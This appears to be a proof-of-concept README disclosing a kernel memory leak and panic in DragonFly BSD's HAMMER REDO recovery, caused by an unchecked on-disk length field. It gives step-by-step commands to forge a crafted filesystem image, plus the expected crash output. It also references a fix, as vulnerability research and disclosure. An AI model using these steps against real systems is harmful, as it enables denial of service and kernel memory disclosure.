# DF-0812 — PoC

**Unvalidated `redo_data_bytes` in HAMMER REDO recovery leaks kernel memory / panics on mount of crafted image.**

`sys/vfs/hammer/hammer_recover.c:1332-1335` `vn_rdwr(UIO_WRITE, vp,
(void*)(redo+1), redo->redo_data_bytes, ...)` passes the raw on-disk
`redo_data_bytes` (int32, `hammer_disk.h:662`) as the copy length with NO
bounds check against the record capacity. Contrast the UNDO path which
validates `undo_data_bytes` at `:1053-1060`.

The FIFO head CRC (`hammer_crc.h:196-200`) covers only `hdr_size` bytes — the
attacker recomputes the CRC for any `redo_data_bytes`, then the extra bytes
`vn_rdwr` copies past the record are NOT CRC-checked.

- **Panic variant**: `redo_data_bytes=0x7FFFFFFF` → `memmove` walks ~2 GB →
  unmapped page → `Fatal trap 12: page fault while in kernel mode`.
- **Leak variant**: moderate `redo_data_bytes` past the payload → adjacent
  kernel heap written to the recovered file.

## Build
```
./build.sh     # cc -O2 -o harness harness.c ; cc -O2 -o craft_img craft_img.c icrc32.c
```

## Run

### Phase 1: Deterministic harness
```
./harness
```
Transcribes the `vn_rdwr` → `uiomove` → `bcopy` path with a poisoned allocator.
Shows the OOB extent for `redo_data_bytes=4096` (4056 bytes past a 96-byte
record) and `0x7FFFFFFF` (~2 GB).

### Phase 2: Real HAMMER image (requires root in guest)
```
# As root in the DragonFly guest:
dd if=/dev/zero of=/root/df0812.img bs=1m count=1024
vnconfig -c vn0 /root/df0812.img
newfs_hammer -f -L TEST /dev/vn0
mkdir -p /mnt && mount -t hammer /dev/vn0 /mnt

# Write + fsync to enable REDO, then write more to generate REDO records
dd if=/dev/zero of=/mnt/f1 bs=4k count=64 && fsync /mnt/f1
dd if=/dev/zero of=/mnt/f1 bs=4k count=64 conv=notrunc && fsync /mnt/f1
sync

# Copy image while still mounted (preserves pending REDO records)
cp /root/df0812.img /root/df0812_patched.img

# Patch REDO records: forge redo_data_bytes=0x7FFFFFFF + recompute CRC
./craft_img /root/df0812_patched.img 2147483647

# Unmount original, mount patched image → PANIC on #0 unpatched
umount /mnt && vnconfig -u vn0
vnconfig -c vn1 /root/df0812_patched.img
mount -t hammer /dev/vn1 /mnt    # Fatal trap 12: page fault in memmove
```

## Expected
- **#0 unpatched (GENERIC, INVARIANTS ON)**: immediate kernel panic
  `Fatal trap 12: page fault while in kernel mode`,
  `Stopped at memmove+0x10a: repe movsq (%rsi),%es:(%rdi)`.
- **#1 patched (fix.diff applied)**: `mount` succeeds, recovery completes,
  no panic. Corrupt REDO records are rejected cleanly.
- **`./harness`** alone: deterministic OOB-read proof (no kernel needed).

## Preconditions
Root inside the DragonFly guest (mount is root-only; `vfs.usermount=0`).
Acceptable "admin mounted a crafted filesystem image" threat model.

## Files
- `craft_img.c` — scans image for REDO records, patches `redo_data_bytes`,
  recomputes FIFO head CRC using the kernel's `iscsi_crc32`
- `harness.c` — deterministic OOB copy proof (transcribes the vn_rdwr path)
- `icrc32.c` — verbatim copy of `sys/libkern/icrc32.c` (kernel CRC for userspace)
- `build.sh` / `run.sh` — build and run pipeline
- `VERDICT.md` — full narrative with `path:line` citations and fix validation
- `panic.txt` — captured `Fatal trap 12` at `memmove+0x10a`
- `fix.diff` — git-apply-able fix (validate `redo_data_bytes` before `vn_rdwr`),
  validated on #1
- `manifest.json`, `env.txt`, full logs
